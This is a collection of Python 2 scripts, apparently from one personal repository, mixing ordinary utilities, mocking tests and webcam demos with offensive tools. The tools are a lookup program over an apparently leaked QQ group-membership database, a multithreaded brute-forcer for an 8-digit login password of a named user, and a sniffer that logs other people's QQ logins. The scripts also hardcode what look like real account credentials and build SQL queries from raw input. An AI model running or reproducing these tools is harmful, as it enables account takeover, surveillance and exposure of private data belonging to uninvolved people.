self.connect = pyodbc.connect(DRIVER=self.DRIVER, SERVER=self.SERVER, DATABASE=self.DATABASE, UID=self.UID, PWD=self.PWD, charset="UTF-8")
def GetConnect( self ):
return self.connect
def closeConnect( self ):
return self.connect.close()
def fetchall( self, sql):
''' Perform one Sql statement '''
cursor = self.connect.cursor() #get the handle
cursor.execute(sql)
rows = cursor.fetchall()
return rows
def ExecNoQuery(self,sql):
''' Person one Sql statement like write data, or create table, database and so on'''
cursor = self.connect.cursor() #get the handle
cursor.execute(sql)
self.connect.commit()
def fetchone_cursor( self, sql ):
''' use less mem when one by one to read the data '''
cursor = self.connect.cursor() #get the handle
cursor.execute(sql)
return cursor
def getAllQQDataBaseName( self, condition ) :
selectsql = "select name from sys.databases "
names = self.fetchall( selectsql + condition )
return names
def getDataBaseAllTableName( self, databasename) :
use = "USE "
self.ExecNoQuery( use + databasename )
select = "SELECT name FROM sys.objects Where Type='U' and name!='dtproperties'"
names = self.fetchall( select )
return names
def getallDataBaseName( self ):
conditionstr = "where name like 'GroupData%' "
self.GroupDataNames = self.getAllQQDataBaseName(conditionstr)
conditionstr = "where name like 'QunInfo%' "
self.QunInfoNames = self.getAllQQDataBaseName(conditionstr)
def getQunNumOfQQnumber( self, QQNumber):
QunNumbers = []
for dataname in self.GroupDataNames :
print u"正在查找数据库:" + dataname[0]
TableNames = self.getDataBaseAllTableName( dataname[0] )
for tablename in TableNames :
selectsql = "select QQNum, Nick, QunNum from " + tablename[0] + " where QQNum = "
rows = self.fetchall( selectsql + QQNumber )
if len( rows ) > 0:
print u"在该表找到该号码的群:" + tablename[0]
QunNumbers.extend(rows)
return QunNumbers
def getQunMembersofQunNumber( self, QunNumber):
QunMembers = []
for dataname in self.GroupDataNames :
print u"正在查找数据库:" + dataname[0]
TableNames = self.getDataBaseAllTableName( dataname[0] )
for tablename in TableNames :
selectsql = "select min(QunNum), max(QunNum) from " + tablename[0]
min_max = self.fetchall( selectsql)
if min_max[0][0] != None : # avoid empty table
if int(min_max[0][0]) <= int(QunNumber) and int(QunNumber) <= int(min_max[0][1]) :
print u"在该表找到群成员:" + tablename[0]
selectsql = "select QQNum, Nick from " + tablename[0] + " where QunNum = "
rows = self.fetchall( selectsql + QunNumber )
if len( rows ) > 0:
QunMembers.extend(rows)
return QunMembers
def getQunInformation( self, QunNumber):
QunInformation = []
hadFound = False
for dataname in self.QunInfoNames :
TableNames = self.getDataBaseAllTableName( dataname[0] )
for tablename in TableNames :
selectsql = "select * from " + tablename[0] + " where QunNum = "
#selectsql = "select MastQQ, CreateDate, Title, QunText from " + tablename[0] + " where QunNum = "
rows = self.fetchall( selectsql + str(QunNumber) )
if len( rows ) > 0:
print u"在该表找到群信息:" + tablename[0]
QunInformation.extend(rows)
hadFound = True
break;
if hadFound:
break
return QunInformation
def createAllDataGroupIndex( self ):
for dataname in self.GroupDataNames :
print u"正在为该数据库的所有表添加索引:" + dataname[0]
TableNames = self.getDataBaseAllTableName( dataname[0] )
for tablename in TableNames :
indexsql = "CREATE INDEX QQNumIndex ON " + tablename[0] + "(QQNum)"
self.ExecNoQuery(indexsql)
def createAllQunInfoIndex( self ):
for dataname in self.QunInfoNames :
print u"正在为该数据库的所有表添加索引:" + dataname[0]
TableNames = self.getDataBaseAllTableName( dataname[0] )
for tablename in TableNames :
indexsql = "CREATE INDEX QunNumIndex ON " + tablename[0] + "(QunNum)"
self.ExecNoQuery(indexsql)
def checkQQqun( QQ, QQnumber ):
while 1 :
QunNumbers = QQ.getQunNumOfQQnumber( QQnumber )
print u"\nQQ号码 QQ昵称 QQ群 Q群人数 Q群名称 Q群公告"
for qun in QunNumbers:
QunInformation = QQ.getQunInformation( qun.QunNum )
if len(QunInformation) > 0:
print qun.QQNum, qun.Nick.decode('gb2312','ignore').encode('utf-8'), qun.QunNum, \
QunInformation[0].MastQQ,\
QunInformation[0].Title.decode('gb2312','ignore').encode('utf-8'),\
QunInformation[0].QunText.decode('gb2312','ignore').encode('utf-8')
else:
print qun.QQNum, qun.Nick.decode('gb2312','ignore').encode('utf-8'), qun.QunNum
handle = raw_input( u"\n是否继续查询(y/n):")
if handle == "y" or handle == "Y":
QQnumber = raw_input(u"请输入你想查询的QQ号码:")
else:
break
def checkQunMembers( QQ, Qunnumber ):
QunMembers = QQ.getQunMembersofQunNumber( Qunnumber )
print u"\n以下信息为群内的QQ号码+QQ昵称:"
for Member in QunMembers:
print Member.QQNum,Member.Nick.decode('gb2312','ignore').encode('utf-8')
def checkQunInformation( QQ, Qunnumber ):
QunInformation = QQ.getQunInformation( Qunnumber )
if len(QunInformation) == 0:
print u"\n!!!!!!!!!!!上百G的数据库里面没该群的信息!!!!!!!!!"
return
print u"\n群号码 群人数 建群时间 群昵称 Class(不知道是什么) 群公告:"
print QunInformation[0].QunNum, QunInformation[0].MastQQ, QunInformation[0].CreateDate,\
QunInformation[0].Title.decode('gb2312','ignore').encode('utf-8'), QunInformation[0].Class,\
QunInformation[0].QunText.decode('gb2312','ignore').encode('utf-8')
def main():
QQ = ODBC_QQ('{SQL SERVER}', r'127.0.0.1', 'master', 'sa', '123456789')
QQ.Connect()
QQ.getallDataBaseName()
QQ.createAllDataGroupIndex()#you should use the function once when you first time attach the QQ database
QQ.createAllQunInfoIndex()
while 1 :
print u"\n1---根据QQ号码,查询QQ号码所在的群"
print u"2---根据群号,查询群成员"
print u"3---根据群号,查询群信息"
print u"其他输入为退出本系统"
handle = raw_input(u"输入你想要的操作类型(1 or 2 or 3 or other):".encode('gbk'))
if 1 == int(handle):
QQnumber = raw_input(u"请输入你想查询的QQ号码:".encode('gbk'))
checkQQqun( QQ, QQnumber)
elif 2 == int(handle):
Qunnumber = raw_input(u"请输入你想查询的QQ群号:".encode('gbk'))
checkQunMembers( QQ, Qunnumber)
elif 3 == int(handle):
Qunnumber = raw_input(u"请输入你想查询的QQ群号:".encode('gbk'))
checkQunInformation( QQ, Qunnumber)
else:
break
QQ.closeConnect()
if __name__ == '__main__':
main() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
最近需要将内存中的Flash Dump出来,找到一款软件 Flash吸血鬼,可以查找内存中的Flash,不过没有注册版本的不能直接
保存为Flash格式,于是自己摸索了半天,弄了一个Python版本的。
swf文件有两种,一种为未压缩的,另外一种为zlib压缩过的。
未压缩的:
1-3字节为:Hex: 46 57 53(ASCII: FWS),
第4字节为:版本,
第5-8字节为swf文件大小,包含8字节文件头。
结尾4个字节为Hex:40 00 00 00
zlib压缩过的:
1-3字节为:Hex: 43 57 53(ASCII: CWS),
第4字节为版本,
第5-8字节为swf未压缩前大小。
第9字节为Hex:78,
第10字节为zlib压缩方法,
从第9字节开始需要用zlib解压。
Flash版本现在常用的有 0x07,0x08,0x09,0x0A
Python版Flash吸血鬼需要解决2个问题
能把进程的内存dump到文件
遍历文件,把Flash都找出来
dump内存,这里使用了[winappdbg][1],很好用的一个Python win32库。在Win7下使用,需要保证运行权限是管理员权限,
才能成功dump内存。
在文件里查找Flash,对于未压缩的直接提取即可,对于压缩过的,使用Python的zlib即可解压。
goolgechrome还有IE浏览器,貌似用这个脚本,得到的都不怎么对啊,临时文件很大,但是识别的flash一般只有50KB以内
感觉flash识别的算法不行啊。。。还要改进
"""
from winappdbg import Process, System, CrashDump
from winappdbg import win32
import zlib
class SwfDump(object):
def __init__(self):
self.num = 1
def dump_byname(self, name):
'''
get Process pid by process name
'''
sy = System()
sy.scan_processes()
targets = set()
pl = sy.find_processes_by_filename(name)
if not pl:
print "Process not found: %s,\nMake true your are logined on as administrator." % name
exit()
for p, n in pl:
pid = p.get_pid()
targets.add(pid)
targets = list(targets)
f = file('tmp', 'wb')
for pid in targets:
process = Process(pid)
process.get_handle()
#dump process content to tmp
for mbi in process.take_memory_snapshot():
if mbi.content:
f.write(mbi.content)
print "dump memory ok"
def save_swf(self, data):
with open("%i.swf" % self.num, 'wb') as f:
f.write(data)
print "%s swf dump ok" % self.num
self.num += 1
def dump_swf(self):
''' dump swf file from dump file '''
with open("tmp", "rb") as f:
map = f.read()
#dump CWS swf file
l = len(map)
index = map.rfind('CWS', 0, l)
while index > -1:
if map[index:index + 3] == "CWS" and map[index + 8] == "x" and ord(map[index + 3]) in [0x08, 0x09,
0x0A]:
try:
data = zlib.decompress(map[index + 8:])
data = "FWS" + map[index + 3:index + 8] + data
self.save_swf(data)
except:
pass
index = map.rfind('CWS', 0, index)
#dump FWS swf file
index = map.rfind("FWS", 0, l)
while index > -1:
#get swf length
size = ord(map[index + 4]) + ord(map[index + 5]) * 256 + ord(map[index + 6]) * 256 * 256 + ord(
map[index + 7]) * 256 * 256 * 256
#max file size 10M
if size < 1000000 and ord(map[index + 3]) in [0x08, 0x09, 0x0A] and ord(map[index + size - 4]) == 0x40:
data = map[index:index + size]
self.save_swf(data)
index = map.rfind("FWS", 0, index)
print "dump done. Calum(http://sa3.org)"
def dump_swf1(self):
''' dump swf file from dump file '''
with open("tmp", "rb") as f:
map = f.read()
#dump CWS swf file
l = len(map)
index = map.find('CWS', 0, l)
while index > -1:
if map[index:index + 3] == "CWS" and map[index + 8] == "x" and ord(map[index + 3]) in [0x08, 0x09,
0x0A]:
print "zz"
try:
data = zlib.decompress(map[index + 8:])
data = "FWS" + map[index + 3:index + 8] + data
self.save_swf(data)
except:
pass
index = map.rfind('CWS', index, -1)
print index
print "dump CWS swf file over,begin dump FWS swf file."
#dump FWS swf file
index = map.find("FWS", 0, l)
while index > -1:
#get swf length
size = ord(map[index + 4]) + ord(map[index + 5]) * 256 + ord(map[index + 6]) * 256 * 256 + ord(
map[index + 7]) * 256 * 256 * 256
#max file size 10M
if size < 1000000 and ord(map[index + 3]) in [0x08, 0x09, 0x0A] and ord(map[index + size - 4]) == 0x40:
data = map[index:index + size]
self.save_swf(data)
index = map.find("FWS", index, -1)
print "dump done. Calum(http://sa3.org)"
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
print "Usage: python swfdump.py process name \n python swfdump.py firefox.exe"
exit()
swfdump = SwfDump()
swfdump.dump_byname(sys.argv[1])
swfdump.dump_swf1() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
import urllib, urllib2, cookielib, sys
class Login_e10000:
login_header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4'}
signin_header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36', 'X-Requested-With':'XMLHttpRequest', 'Content-Length':0,
'Origin':'http://bbs.e10000.cn/', 'Referer':'http://bbs.e10000.cn/'}
email = ''
password = ''
cookie = None
cookieFile = './cookie.dat'
def __init__(self, email, pwd):
self.email = email
self.password = pwd
self.cookie = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
urllib2.install_opener(opener)
def login(self):
postdata = {'email':self.email, 'password':self.password, 'done':'http://bbs.e10000.cn/User/login.asp', 'submitflag':'ddddls-%2B%2B%2B'}
postdata = urllib.urlencode(postdata)
print 'Logining...'
req = urllib2.Request(url='http://bbs.e10000.cn/member/login.asp', data=postdata, headers=self.login_header)
result = urllib2.urlopen(req).read()
self.cookie.save(self.cookieFile)
result = str(result).decode('utf-8').encode('utf-8')
if 'Email 或者密码错误' in result:
print 'Login failed due to Email or Password error...'
sys.exit()
else :
print 'Login successfully!'
def signIn(self):
postdata = {}
postdata = urllib.urlencode(postdata)
print 'signing...'
req = urllib2.Request(url='http://bbs.e10000.cn/plug-ins/signcenter/Default.asp?action=update', data=postdata, headers=self.signin_header)
result = urllib2.urlopen(req).read()
result = str(result).decode('utf-8').encode('utf-8')
print "result is ",result
self.cookie.save(self.cookieFile)
try:
result = int(result)
except ValueError:
print 'signing failed...'
sys.exit()
except:
print 'signing failed due to unknown reasons ...'
sys.exit()
print 'signing successfully!'
print self.email,'have signed', result, 'days continuously...'
if __name__ == '__main__':
user = Login_e10000('aaqqxx1910', '53yFlTPK')
user.login()
user.signIn() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
#首先知道他的密码是8位的数字 这就好办了
import urllib, urllib2, cookielib
import threading
cookie_support = urllib2.HTTPCookieProcessor(cookielib.CookieJar())
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)
url = ''
class PrintNumber(threading.Thread):
def __init__(self, n, m):
self.n = n
self.m = m
super(PrintNumber, self).__init__()
def run(self):
for i in range(self.n, self.n + self.m):
params = urllib.urlencode({'userName': 'zjm1126', 'userPwd': str(i)})
content = urllib2.urlopen('http://192.168.1.200/order/index.php?op=Login&ac=login&', params).read()
if content.find('登录成功') > 0:
file1 = open('password.txt', 'w')
file1.write(str(i))
return
print i
def run(m, n):
s = m / n
a = [i * s for i in range(n)]
for i in a:
thread = PrintNumber(i, s)
thread.start()
m = 20000000 #范围
n = 200 #几个线程 | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
import re
import mechanize
import sys
print sys.getdefaultencoding()
print sys.getfilesystemencoding()
br = mechanize.Browser()
br.open("http://www.taobao.com/")
# follow second link with element text matching regular expression
regex3 = "2"
response1 = br.follow_link(text_regex=regex3, nr=1)
assert br.viewing_html()
print br.title()
print response1.geturl()
# print response1.info() # headers
# print response1.read() # body
#
# br.select_form(name="order")
# # Browser passes through unknown attributes (including methods)
# # to the selected HTMLForm.
# br["cheeses"] = ["mozzarella", "caerphilly"] # (the method here is __setitem__)
# # Submit current form. Browser calls .close() on the current response on
# # navigation, so this closes response1
# response2 = br.submit()
#
# # print currently selected form (don't call .submit() on this, use br.submit())
# print br.form
#
# response3 = br.back() # back to cheese shop (same data as response1)
# # the history mechanism returns cached response objects
# # we can still use the response, even though it was .close()d
# response3.get_data() # like .seek(0) followed by .read()
# response4 = br.reload() # fetches from server
#
# for form in br.forms():
# print form
# # .links() optionally accepts the keyword args of .follow_/.find_link()
# for link in br.links(url_regex="python.org"):
# print link
# br.follow_link(link) # takes EITHER Link instance OR keyword args
# br.back() | Python |
__author__ = 'XingHua'
import MySQLdb
def Foo():
conn = MySQLdb.connect(host='localhost',
user='root', passwd='abc123', db='test')
cursor = conn.cursor()
cursor.execute('SELECT * FROM people')
id, name = cursor.fetchone()
print id, name
if __name__ == '__main__':
Foo() | Python |
__author__ = 'XingHua'
import urllib2
def Foo():
print urllib2.urlopen('http://www.google.com/').read()
if __name__ == '__main__':
Foo() | Python |
__author__ = 'XingHua'
import fudge
from MySQLdb_fun import Foo
mysqldb = fudge.Fake('MySQLdb')
conn = mysqldb.expects('connect').returns_fake()
curs = conn.provides('cursor').returns_fake()
curs = curs.expects('execute').returns(1)
curs = curs.provides('fetchone').returns((1, 'Nathan'))
@fudge.with_fakes
@fudge.with_patched_object('MySQLdb_fun', 'MySQLdb', mysqldb)
def Test():
Foo() # prints: 1 Nathan
if __name__ == '__main__':
Test() | Python |
__author__ = 'XingHua'
import fudge
from cStringIO import StringIO
from network import Foo
urlopen = fudge.Fake('urlopen', callable=True) \
.returns(StringIO('HelloWorld'))
@fudge.with_fakes
@fudge.with_patched_object('urllib2', 'urlopen', urlopen)
def Test():
Foo() # prints: HelloWorld
if __name__ == '__main__':
Test() | Python |
__author__ = 'XingHua'
import os
def Foo():
print os.listdir('.')
open('a.txt', 'w').write('HelloWorld')
if __name__ == '__main__':
Foo() | Python |
__author__ = 'XingHua'
| Python |
__author__ = 'XingHua'
import fudge
from cStringIO import StringIO
from fileSystem import Foo
listdir = fudge.Fake(callable=True).returns(['a.txt', 'b.jpg'])
buf = StringIO()
myopen = lambda filename, mode: buf
@fudge.with_fakes
@fudge.with_patched_object('os', 'listdir', listdir)
@fudge.with_patched_object('__builtin__', 'open', myopen)
def Test():
Foo() # prints: ['a.txt', 'b.jpg']
print buf.getvalue() # prints: HelloWorld
if __name__ == '__main__':
Test() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
# +-----------------------------------------------------------------------------
# | File: xiami_auto_checkin.py
# | Author: huxuan
# | E-mail: i(at)huxuan.org
# | Created: 2011-12-11
# | Last modified: 2012-02-06
# | Description:
# | Description for xiami_auto_checkin.py
# |
# | Copyrgiht (c) 2012 by huxuan. All rights reserved.
# | License GPLv3
# +-----------------------------------------------------------------------------
import re
import os
import sys
import urllib
import urllib2
import datetime
import cookielib
def check(response):
"""Check whether checkin is successful
Args:
response: the urlopen result of checkin
Returns:
If succeed, return a string like '已经连续签到**天'
** is the amount of continous checkin days
If not, return False
"""
pattern = re.compile(r'<div class="idh">(已连续签到\d+天)</div>')
result = pattern.search(response)
if result: return result.group(1)
return False
def main():
"""Main process of auto checkin
"""
# Get log file
LOG_DIR = os.path.join(os.path.expanduser("~"), '.log')
if not os.path.isdir(LOG_DIR):
os.makedirs(LOG_DIR)
LOG_PATH = os.path.join(LOG_DIR, 'xiami_auto_checkin.log')
f = LOG_FILE = file(LOG_PATH, 'a')
# Get email and password
if len(sys.argv) != 3:
print >> f, '[Error] Please input email & password as sys.argv!'
print >> f, datetime.datetime.now()
return
email = sys.argv[1]
password = sys.argv[2]
# Init
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
urllib2.install_opener(opener)
# Login
login_url = 'http://www.xiami.com/member/login'
login_data = urllib.urlencode({
'done': '/',
'email': email,
'password': password,
'submit': '登 录',
})
login_headers = {
'Referer': 'http://www.xiami.com/web/login',
'User-Agent': 'Opera/9.60',
}
login_request = urllib2.Request(login_url, login_data, login_headers)
login_response = urllib2.urlopen(login_request).read()
# Checkin
checkin_pattern = re.compile(r'<a.*>(.*?)天\s*?<span>已连续签到</span>')
checkin_result = checkin_pattern.search(login_response)
# print login_response
if checkin_result:
# Checkin Already
print "zzz"
print >> f, datetime.datetime.now(), email, checkin_result, '[Already]'
return
checkin_url = 'http://www.xiami.com/task/signin'
#checkin_headers = {'Referer': 'http://www.xiami.com/', 'User-Agent': 'Opera/9.60', }
checkin_headers = {'Origin':'http://www.xiami.com',
'Referer': 'http://www.xiami.com/',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.76 Safari/537.36'
}
checkin_request = urllib2.Request(checkin_url, None, checkin_headers)
checkin_response = urllib2.urlopen(checkin_request).read()
print "checkin_response is",checkin_response
# Result
result = checkin_pattern.search(checkin_response)
print >> f, datetime.datetime.now(), email, checkin_response
if __name__ == '__main__':
main() | Python |
#coding=utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
import fudge
mock = fudge.Fake('mock')
mock.expects('method')\
.with_arg_count(arg1=1, arg2='2').returns(True)
mock.method(arg1=1, arg2='2')
fudge.verify()
| Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
"""
import os
totalfile = {}
# print os.getcwd()
for root, dirs, files in os.walk(os.getcwd(), True):
flst = [os.path.join(root, f) for f in files if f.endswith(('.php', '.js', '.css', '.txt', '.py'))]
print flst
for fname in flst:
ft = open(fname)
totalfile[fname] = len([t for t in ft if len(t.strip())])
ft.close()
print "%s %d line code" % (fname, totalfile[fname])
print "line:%d,file:%d" % (sum(totalfile.values()), len(totalfile))
# os.system('pause')
| Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
#!/usr/bin/env python
#encoding=utf-8
import sys
import re
import urllib2
import urllib
import cookielib
class Renren(object):
def __init__(self):
self.name = self.pwd = self.content = self.domain = self.origURL = ''
self.operate = ''#登录进去的操作对象
self.cj = cookielib.LWPCookieJar()
try:
self.cj.revert('renren.coockie')
except Exception,e:
print e
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cj))
urllib2.install_opener(self.opener)
def setinfo(self,username,password,domain,origURL):
'''设置用户登录信息'''
self.name = username
self.pwd = password
self.domain = domain
self.origURL = origURL
def login(self):
'''登录人人网'''
params = {'domain':self.domain,'origURL':self.origURL,'email':self.name, 'password':self.pwd}
print 'login.......'
req = urllib2.Request(
'http://www.renren.com/PLogin.do',
urllib.urlencode(params)
)
self.operate = self.opener.open(req)
if self.operate.geturl() == 'http://www.renren.com/Home.do':
print 'Logged on successfully!'
self.cj.save('renren.coockie')
self.__viewnewinfo()
else:
print 'Logged on error'
def __viewnewinfo(self):
'''查看好友的更新状态'''
self.__caiinfo()
def __caiinfo(self):
'''采集信息'''
h3patten = re.compile('<h3>(.*?)</h3>')#匹配范围
apatten = re.compile('<a.+>(.+)</a>:')#匹配作者
cpatten = re.compile('</a>(.+)\s')#匹配内容
infocontent = self.operate.readlines()
# print infocontent
print 'friend newinfo:'
for i in infocontent:
content = h3patten.findall(i)
if len(content) != 0:
for m in content:
username = apatten.findall(m)
info = cpatten.findall(m)
if len(username) !=0:
print username[0],'说:',info[0]
print '----------------------------------------------'
else:
continue
ren = Renren()
username = ''#你的人人网的帐号
password = ''#你的人人网的密码
domain = 'renren.com'#人人网的地址
origURL = 'http://www.renren.com/Home.do'#人人网登录以后的地址
ren.setinfo(username,password,domain,origURL)
ren.login()
#主要用到了python cookielib,urllib2,urllib这3个模块,这3个模块是python做http这方面比较好的模块.
# self.cj = cookielib.LWPCookieJar()
#
# try:
# self.cj.revert('renren.coockie')
# except Exception,e:
# print e
# self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cj))
#
# urllib2.install_opener(self.opener) | Python |
__author__ = 'XingHua'
import unittest
class MyTestCase(unittest.TestCase):
def test1(self):
"""Run test 1"""
print "test1"
pass
def test2(self):
"""Run test 2"""
pass
if __name__ == '__main__':
unittest.main() | Python |
#coding:utf-8
#!/usr/env/bin python
__author__ = 'XingHua'
import time,datetime
import urllib2
def chk_qq(qqnum):
chkurl = 'http://wpa.qq.com/pa?p=1:'+`qqnum`+':1'
a = urllib2.urlopen(chkurl)
length=a.headers.get("content-length")
a.close()
print datetime.datetime.now()
if length=='2329':
return 'Online'
elif length=='2262':
return 'Offline'
else:
print length
return 'Unknown Status!'
qq = 506926059
stat = chk_qq(qq)
print `qq` + ' is ' + stat | Python |
#!/usr/bin/env python
# coding: UTF-8
__author__ = 'XingHua'
'''
windows和linux采用了不同的编码,这让很多人伤透了脑经,
这里我采用了Python的chardet库获得代码的编码,然后修改编码
'''
import sys
import os
import chardet
def print_usage():
print '''usage:
change_charset [file|directory] [charset] [output file]\n
for example:
change 1.txt utf-8 n1.txt
change 1.txt utf-8
change . utf-8
change 1.txt
'''
def get_charset(s):
return chardet.detect(s)['encoding']
def remove(file_name):
os.remove(file_name)
def change_file_charset(file_name, output_file_name, charset):
f = open(file_name)
s = f.read()
f.close()
if file_name == output_file_name or output_file_name == "":
remove(file_name)
old_charset = get_charset(s)
u = s.decode(old_charset)
if output_file_name == "":
output_file_name = file_name
f = open(output_file_name, 'w')
s = u.encode(charset)
f.write(s)
f.close()
def do(file_name, output_file_name, charset):
if os.path.isdir(file_name):
for item in os.listdir(file_name):
try:
if os.path.isdir(file_name+"/"+item):
do(file_name+"/"+item, "", charset)
else:
change_file_charset(file_name+"/"+item, "", charset)
except OSError, e:
print e
else:
change_file_charset(file_name, output_file_name, charset)
if __name__ == '__main__':
length = len(sys.argv)
if length == 1:
print_usage()
elif length == 2:
do(sys.argv[1], "", "utf-8")
elif length == 3:
do(sys.argv[1], "", sys.argv[2])
elif length == 4:
do(sys.argv[1], sys.argv[3], sys.argv[2])
else:
print_usage() | Python |
#!/usr/bin/env python
# coding: UTF-8
__author__ = 'XingHua'
'''
windows和linux采用了不同的编码,这让很多人伤透了脑经,
这里我采用了Python的chardet库获得代码的编码,然后修改编码
'''
import sys
import os
import chardet
def print_usage():
print '''usage:
change_charset [file|directory] [charset] [output file]\n
for example:
change 1.txt utf-8 n1.txt
change 1.txt utf-8
change . utf-8
change 1.txt
'''
def get_charset(s):
return chardet.detect(s)['encoding']
def remove(file_name):
os.remove(file_name)
def change_file_charset(file_name, output_file_name, charset):
f = open(file_name)
s = f.read()
f.close()
if file_name == output_file_name or output_file_name == "":
remove(file_name)
old_charset = get_charset(s)
u = s.decode(old_charset)
if output_file_name == "":
output_file_name = file_name
f = open(output_file_name, 'w')
s = u.encode(charset)
f.write(s)
f.close()
def do(file_name, output_file_name, charset):
if os.path.isdir(file_name):
for item in os.listdir(file_name):
try:
if os.path.isdir(file_name+"/"+item):
do(file_name+"/"+item, "", charset)
else:
change_file_charset(file_name+"/"+item, "", charset)
except OSError, e:
print e
else:
change_file_charset(file_name, output_file_name, charset)
if __name__ == '__main__':
length = len(sys.argv)
if length == 1:
print_usage()
elif length == 2:
do(sys.argv[1], "", "utf-8")
elif length == 3:
do(sys.argv[1], "", sys.argv[2])
elif length == 4:
do(sys.argv[1], sys.argv[3], sys.argv[2])
else:
print_usage() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
import winpcapy ,struct
pack=winpcapy.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
recv_len=len(recv_data)
if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101] == chr(03):
print struct.unpack('>I',recv_data[49:53])[0]
print '登陆了'
elif recv_len == 55:
print struct.unpack('>I',recv_data[49:53])[0]
print '登陆了' | Python |
#-*-coding:utf8 -*-
#!/usr/env python
__author__ = 'SIOM'
import GdImageFile
import matplotlib.pyplot as plt
#x=GdImageFile.open(r"c:\2200.TIF")
#x=GdImageFile.open(r'c:\1.jpg')
x=plt.imread(r'c:\2200.TIF')
plt.imshow(x)
plt.show() | Python |
# coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
闲着没事做,前段时间买了个摄像头,在ubuntu上用。打开cheese这个软件,一片空白,怎么不能用阿!
google一番,装上gspca,还是不能用!
用lsusb命令查看下
lingshangwen@eagle:~$ lsusb
Bus 005 Device 001: ID 0000:0000
Bus 004 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 002: ID 0c45:5208 Microdia
Bus 002 Device 001: ID 0000:0000
Bus 001 Device 006: ID 058f:3820 Alcor Micro Corp.
Bus 001 Device 005: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
Bus 001 Device 004: ID 05e3:0606 Genesys Logic, Inc. D-Link DUB-H4 USB 2.0 Hub
Bus 001 Device 001: ID 0000:0000
摄像头已经被识别出来,怎么就是不能用阿!!!!!!
还是自己动手,用python+opencv写段简单的代码吧,然后就有了下面的代码:
"""
import wx
from cv2.cv import *
from cv2.highgui import *
class MyFrame(wx.Frame):
def __init__(self):
wx.Frame.__init__(self, None, -1, 'camera')
self.SetClientSize((640, 480))
self.cap = CreateCameraCapture(0)
self.Bind(wx.EVT_IDLE, self.onIdle)
def onIdle(self, event):
img = QueryFrame(self.cap)
self.displayImage(img)
event.RequestMore()
def displayImage(self, img, offset=(0,0)):
bitmap = wx.BitmapFromBuffer(img.width, img.height, img.imageData)
dc = wx.ClientDC(self)
dc.DrawBitmap(bitmap, offset[0], offset[1], False)
if __name__=="__main__":
app = wx.App()
frame = MyFrame()
frame.Show(True)
app.MainLoop() | Python |
# coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
此方案为朋友LSJ提出并实现的,转过来供学习用,由于在测试时没有架设WEB服务器,也没有做手机上的测试,仅通过PC测试了下,最完整解决方案请参考原出处《DIY手机监控系统》。
方法:
1 下载并安装VideoCapture、PIL。
2.编码,3s抓一个图片并保存
"""
from VideoCapture import Device
import time, string
interval = 2
cam = Device(devnum=0, showVideoWindow=0)
#cam.setResolution(648, 480)
cam.saveSnapshot('image.jpg', timestamp=3, boldfont=1, quality=75)
i = 0
quant = interval * .1
starttime = time.time()
while 1:
lasttime = now = int((time.time() - starttime) / interval)
print i
cam.saveSnapshot('image.jpg', timestamp=3, boldfont=1)
i += 1
while now == lasttime:
now = int((time.time() - starttime) / interval)
time.sleep(quant)
"""
写个网页,3s刷新一次,如下:
[html]
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>Web监视</title>
<META http-equiv="refresh" content="3">
<META http-equiv="Expires" content="0">
<META http-equiv="Pragma" content="no-cache">
</HEAD>
<body >
<img src='image.jpg?mail=dyx1024@gmail.com' width="47%" height="381"/>
</body>
</HTML>
""" | Python |
# coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
"""
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from VideoCapture import Device
import time
import sys, pygame
pygame.init()
size = width, height = 620, 485
speed = [2, 2]
black = 0, 0, 0
pygame.display.set_caption('视频窗口@dyx1024')
screen = pygame.display.set_mode(size)
#抓取频率,抓取一次
SLEEP_TIME_LONG = 0.1
#初始化摄像头
cam = Device(devnum=0, showVideoWindow=0)
while True:
#抓图
cam.saveSnapshot('test.jpg', timestamp=3, boldfont=1, quality=75)
#加载图像
image = pygame.image.load('test.jpg')
#传送画面
screen.blit(image, speed)
#显示图像
pygame.display.flip()
#休眠一下,等待一分钟
time.sleep(SLEEP_TIME_LONG)
| Python |
# coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
# -*- coding: utf-8 -*-
###########################################################################
## Python code generated with wxFormBuilder (version Jun 30 2011)
## http://www.wxformbuilder.org/
##
## PLEASE DO "NOT" EDIT THIS FILE!
###########################################################################
import wx
import wx.xrc
import VideoCapture
###########################################################################
## Class MyFrame1
###########################################################################
class MyFrame1 ( wx.Frame ):
def __init__( self, parent ):
wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = wx.EmptyString, pos = wx.DefaultPosition, size = wx.Size( 566,535 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL )
